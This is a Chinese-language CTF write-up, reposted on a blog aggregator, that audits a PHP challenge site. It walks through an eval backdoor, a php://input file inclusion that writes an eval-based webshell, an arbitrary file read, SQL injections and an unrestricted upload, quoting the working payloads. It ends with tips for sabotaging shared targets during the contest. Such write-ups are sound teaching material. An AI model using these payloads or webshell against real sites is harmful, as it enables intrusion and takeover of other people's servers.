zoukankan      html  css  js  c++  java
  • 贵州省网络安全知识竞赛个人赛Writeup

    首先拖到D盾扫描

    可以很明显的看出来确实就是两个后门

    0x01 Index.php#一句话木马后门

    0x02 About.php#文件包含漏洞

    都可以很直观的看出来非常明显的漏洞,第一个直接就是eval一句话后门,第二个就是非常简单的文件包含;

    第一个漏洞的利用代码即为:system(base64_decode("Y2F0IGZsYWcq"));

    Y2F0IGZsYWcqcat flag*进行base64编码以后的。

    第二个漏洞攻击可以通过伪协议中的input写入webshell

    about.php?f=php://input

    post数据为:<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

    0x03 challege.php#任意文件读取

    这里在41行的时候有一个判断,如果其中一个满足那么就会exit。所以我们不能让她exit,否则不能执行readfile

    40行的函数使用的有点问题,应该是parse_url,多了一个n,提供代码给我的这位师傅应该是没有修改过代码的。所以这里应该是比赛方的一个瑕疵。

    我们当作parse_url来做

    Parse_url函数是拿来解析url的,如下所示

    所以在看41行的代码就很简单了

    我们直接让$parts['host']不为空并且等于localhost即可

    最终得出读取 flaghttp://10.211.55.3/tmp.php?url=http://localhost/../flag.txt

    0x04 SQL注入#message.php

    因为我这里没有数据库环境就不多演示如何get数据了。

    如果要修复,直接对$_GET[‘id’]进行操作即可。

    0x05 SQL注入#logcheck.php

    0x06 SQL注入#login.php

    0x07 upload.php#任意文件上传

    上传成功:/images/15681026431.php 

    登陆后flag:(因为我这儿仅有源码,所以没显示出正确的flag,比赛环境里在这里应该是可以看到flag的)

    0x08 sql注入 #search.php

    小结:

    打开index.php就可以很明显的看到eval以及undefined index123这里其实就基本可以猜得到,123这个参数是后门了。所以可以很快通过这个后门直接getshell拿到权限;

    上面的注入均没有进行任何过滤,直接通过sqlmap就可以很简单的跑出来;

    拿到权限以后,可以对代码进行审计,迅速修复漏洞不让对手入侵下这个网站;

    或者利用脚本轮训删除images目录下的文件;

    针对个人赛,入侵公共靶机的话,如果是可以修改代码那么就破坏功能点,如果不能修改代码那就可以预先准备好一些小脚本,例如轮训删除images目录下的所有文件。尽可能的达到自己入侵下的靶机就不要给别人入侵的机会;

  • 相关阅读:
    linux命令 time
    linux命令 awk
    php学习十四:抽象,接口和多态
    php学习十三:其他关键字
    php学习十二:其他魔术方法
    php学习十一:组合
    php学习十:继承
    php学习九:存取器&魔术方法
    php学习八:封装
    php学习七:时间和日期
  • 原文地址:https://www.cnblogs.com/nul1/p/11498232.html
Copyright © 2011-2022 走看看